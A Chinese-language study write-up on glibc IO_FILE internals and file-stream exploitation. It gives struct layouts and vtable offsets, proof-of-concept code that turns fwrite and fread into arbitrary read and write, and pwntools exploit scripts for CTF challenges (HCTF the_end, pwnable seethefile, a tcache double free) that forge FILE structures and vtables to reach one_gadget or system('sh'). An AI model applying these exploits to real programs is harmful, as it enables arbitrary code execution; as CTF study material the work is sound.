glibc通过fopen函数调用为用户返回一个FILE的描述符,该FILE实际是一个结构体。该结构被一系列流函数操作。该结构体大致分为三部分
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; # else void *__pad1; void *__pad2; void *__pad3; void *__pad4; # endif size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; #endif };
但实际上,glibc会在FILE结构外包一层IO_FILE_plus结构,就是多了一个vtable(虚拟函数表,类似C++虚拟函数表)
struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };
其中vtable保存着标准流函数底层调用的函数指针(32bit下在FILE结构偏移0x94处,64bits下在偏移0xd8处)
void * funcs[] = { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
IO_FILE_plus各种偏移
0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x30 _IO_write_end 0x38 _IO_buf_base 0x40 _IO_buf_end 0x48 _IO_save_base 0x50 _IO_backup_base 0x58 _IO_save_end 0x60 _markers 0x68 _chain 0x70 _fileno 0x74 _flags2 0x78 _old_offset 0x80 _cur_column 0x82 _vtable_offset 0x83 _shortbuf 0x88 _lock //IO_FILE_complete 0x90 _offset 0x98 _codecvt 0xa0 _wide_data 0xa8 _freeres_list 0xb0 _freeres_buf 0xb8 __pad5 0xc0 _mode 0xc4 _unused2 0xd8 vtable
##### 针对vtable的利用思路
##### FSOP(File-Stream-Oriented-Programming)
##### 高级利用方式(任意地址读、写)
#### IO缓冲区的攻击
##### 利用fwrite进行任意地址读
对目的fp的设置,以及绕过。
相关的检查
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) { .......................... } } else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count > 0) { ...................... } if (to_do + must_flush > 0) { ................................... if (do_write) { count = old_do_write (f, s, do_write); to_do -= count; if (count < do_write) return n - to_do; }
_IO_read_end == _IO_write_base检查
if (fp->_flags & _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp->_old_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { off_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_old_offset = new_pos; }
#include <stdio.h> int main() { char *msg = "treebacker"; FILE* fp; char *buf = malloc(100); read(0, buf, 100); fp = fopen("key.txt", "rw"); fp->_flags &= ~8; fp->_flags |= 0x800; fp->_IO_write_base = msg; fp->_IO_write_ptr = msg+10; fp->_IO_read_end = fp->_IO_write_base; fp->_fileno = 1; fwrite(buf, 1, 100, fp);/*leak msg*/ }
结果会输出msg的内容,而不是buf的内容。且是输出到stdout。
##### 利用fread函数任意地址写。
绕过检查的设置
_fileno = stdin(从stdin读入)
_flags &= ~ _IO_NO_READS(可写入)
read_ptr = read_base = null
buf_base指向写入的始地址;buf_end指向写入的末地址。
需要 buf_end - buf_base < fread'd size(允许写入足够的数据)
read_ptr = read_base = null。
while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; //缓冲区的内容已经足够,直接memcpy过去。 if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; } ........................ } /* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */ if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; }
样例
#include <stdio.h> int main() { FILE* fp; char *buf = malloc(100); char msg[100]; fp = fopen("key.txt", "r"); fp->_flags &= ~4; fp->_IO_buf_base = msg; fp->_IO_buf_end = msg+100; fp->_fileno = 0; fread(buf,1,6,fp); //read to msg puts(msg); }
结果,我们会发现输入的内容存于msg中。
##### 2018 HCTF the_end
漏洞分析,存在一个任意地址写漏洞,可以5次,每次1byte。
利用思路A
利用IO FILE,在exit之后,会调用file_list_all里的函数setbuf。如果我们可以伪造setbuf为one_gadgets就可以利用。
坑点1,寻找vtables在libc.so文件的偏移(存储vtbales地址的地址)。
下面的都是假的
这个才是真的
坑点2,伪造vtables。需要满足我们能够写入的字节数目,在真实的vtables附近寻找。且0x68偏移的位置的值与one_gadget值相差3byte内。
exp记录
```python
vtables_addr = libc_base + 0x3c56f8
one_gadget = libc_base + 0x45216
fake_vtables = libc_base + 0x3c5588
target_addr = fake_vtables + 0x58 #setbuf
print "one_gadget ==> " + hex(one_gadget)
print "vtables ==> " + hex(vtables_addr)
print "fake_vtables ==> " + hex(fake_vtables)
print "target_addr ==> " + hex(target_addr)
dbg()
p.recvline()
for i in range(2): #make a fake_vtables
p.send(p64(vtables_addr+i))
p.send(p64(fake_vtables)[i])
for i in range(3): #make setbuf is one_gadget
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])
```
利用思路B
利用exit函数退出时会调用_dl_fini_函数,里面会有一个函数指针,_rtdl_global的一个偏移。调试获得之后,改写这里为one_gadget即可。
# call QWORD PTR [rip+0x216414] # 0x7ffff7ffdf48 <_rtld_global+3848> target = libc.address + 0x5f0f48 sleep(0.1) for i in range(5): p.send(p64(target + i)) sleep(0.1) p.send(one_gadget[i])
##### pwntable的seethefile
漏洞分析,name字段scanf存在溢出,可以覆盖fd,伪造一个FILE结构。可以利用flush或者close达到任意代码执行的目的。
利用过程
伪造file结构
伪造vtable,设置flush字段为system
exp记录
name = 'a'*0x20 name += p32(fake_file_addr) #*fd = fake_file_addr #padding fake_file = "\x00" * (fake_file_addr - fd_addr -4) #file struct fake_file += ((p32(0xffffdfff) + ";sh").ljust(0x94, '\x00')) #fake vtable_addr fake_file += p32(fake_file_addr + 0x98) #fake_vtables fake_file += p32(system_addr)*21 exit(name + fake_file)
这是个ubuntu18下面的堆利用。(前面记录过的Tcache机制)
漏洞分析,程序只提供了add和delete功能(edit和show是无效的)。其中add操作虽然没有溢出,但却是对输入无截断的。
漏洞在delete下,存在double free(dup)
利用思路
利用过程(exp详解)
利用unsorted bin和tcache重叠(错位)的过程中,写入tcache第一个chunk的fd指向main_arena。和stdout相差就是偏移的差别,完全可以爆破。
prepare() add(0x80, '0000') add(0x80, '1111') add(0x80, '2222') add(0x80, '3333') add(0x80, '4444') add(0x80, '5555') add(0x80, '6666') add(0x80, '7777') add(0x80, '8888') #avoid consilate with top chunk #fill the tcache for i in range(7): delete(i) gdb.attach(p, 'b printf') dbg() #free into unsorted bin delete(7) #double free 6, 5 which is near to idx7, into unsorted bin, delete(6) delete(5)
此时,unsorted bin和tcache已经存存在重叠。
再请求chunk,这一次使得我们可以写入tcache的fd指针。
add(0xa0, 'a'*0x90 + '\x60\x87') #idx8 from unsorted bin idx5\6, overwrite #idx5's fd is stdout
可以看到,tcache的fd指针已经改写了;发现我们伪造的和stdout不一样,没关系,在调试的时候,可以手动改一下。set {unsigned int}addr=value
分配两次两次,可以得到stdout的chunk。
我们先看一看stdout的结构。
注意,上面标注的1的位置就是_IO_write_base,2是__IO_file_jumps的位置。换句话说,我们把1低位覆盖为0,就可以泄露libc地址。
#get a chunk from points to stdout add(0x80, p64(0xfbad1800) + p64(0)*3 + '\x00') #idx10 change _flags, _IO_write_base data = p.recv(0x60) leak = u64(data[0x58:]) #io_file jump print "leak ==> " + hex(leak)
_flags和其他检查的绕过根据上面提到的利用fwrite任意读来构造。
已经可以拿到了libc地址。
其他的就是和double dup一样的操作拿到shell。这里有个坑就是,不可以继续add和tcache存有同样大小的chunk,因为我们改过fd导致后面的chunk都是不合法的,会触发异常。具体地,调试的时候注意调整。